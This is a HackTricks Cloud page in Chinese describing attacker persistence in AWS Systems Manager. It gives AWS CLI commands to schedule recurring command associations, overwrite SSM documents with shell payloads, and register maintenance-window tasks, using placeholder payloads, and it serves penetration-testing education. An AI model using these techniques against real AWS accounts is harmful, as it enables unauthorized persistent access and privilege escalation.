AWS - SSM Perssitence
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
SSM
更多信息请查看:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Using ssm:CreateAssociation for persistence
拥有 ssm:CreateAssociation 权限的攻击者可以创建一个 State Manager Association,自动在由 SSM 管理的 EC2 instances 上执行命令。这些 associations 可以配置为按固定间隔运行,因此适合用于无需交互会话的后门式 persistence。
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
这种 persistence 方法只要 EC2 instance 由 Systems Manager 管理、SSM agent 正在运行,并且 attacker 有权限创建 associations,就能工作。它不需要 interactive sessions 或显式的 ssm:SendCommand permissions。Important:
--schedule-expression参数(例如rate(30 minutes))必须遵守 AWS 的最小间隔 30 minutes。对于立即执行或一次性执行,完全省略--schedule-expression即可 — association 会在创建后执行一次。
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
拥有 ssm:UpdateDocument 和 ssm:UpdateDocumentDefaultVersion permissions 的 attacker 可以通过修改现有 documents 来提升 privileges。这也允许在该 document 内实现 persistence。实际上,attacker 还需要 ssm:ListDocuments 来获取 custom documents 的名称;如果 attacker 想把 payload 混淆在现有 document 中,那么还需要 ssm:GetDocument。
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
下面是一个示例 document,可用于覆盖现有 document。你需要确保你的 document type 与目标 document 的 type 匹配,以避免 invocation 出现问题。下面的 document 例如会 the ssm:SendCommand 和 ssm:CreateAssociation examples。
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
具有 ssm:RegisterTaskWithMaintenanceWindow 和 ssm:RegisterTargetWithMaintenanceWindow 权限的攻击者,可以先向现有的 maintenance window 注册一个新的 target,然后再更新注册一个新的 task,从而实现提权。这会在现有 targets 上执行,但也可以通过注册新的 targets 来利用不同角色的 compute。由于 maintenance windows tasks 会在创建 window 时按预定义的时间间隔执行,这也提供了 persistence。实际上,攻击者还需要 ssm:DescribeMaintenanceWindows 来获取 maintenance window IDs。
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

